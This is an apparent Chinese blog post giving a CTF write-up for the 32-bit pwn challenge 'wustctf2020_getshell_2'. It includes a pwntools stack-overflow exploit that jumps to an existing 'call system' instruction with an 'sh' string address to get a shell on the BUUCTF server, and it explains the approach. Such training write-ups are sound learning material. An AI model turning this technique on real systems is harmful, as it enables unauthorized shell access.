wustctf2020_getshell_2

看到shell函数,可以直接找sh字符
image
ROPgadget --binary wustctf2020_getshell_2 --string "sh"
image
算一下可以发现只溢出返回地址的后一个

exp
from pwn import *
context.log_level='debug'
io = remote('node5.buuoj.cn',29807)
sh=0x08048670
call_sys=0x08048529
payload=cyclic(0x18+4)+p32(call_sys)+p32(sh)
io.sendline(payload)
io.interactive()
之前是p32(system)+p32(0)+p32(sh),现在这个是p32(call_sys)+p32(sh) 因为之前调用的是sys的plt表,现在这个调用的是call_system 不能调用plt因为plt需要返回值,但如果程序中有现成的call函数就可以不用返回值了,因为它会自己把下一条指令给压进去 限制了溢出的字节数,所以无法利用 system_plt 的地址 (因为需要返回地址,这样字节数不够),而 call system 会直接将下一个命令压入栈中,也就避免了在 32 位程序传参前要填入返回地址的麻烦
posted @ 2025-03-01 00:30  fdddddd  阅读(102)  评论(0)    收藏  举报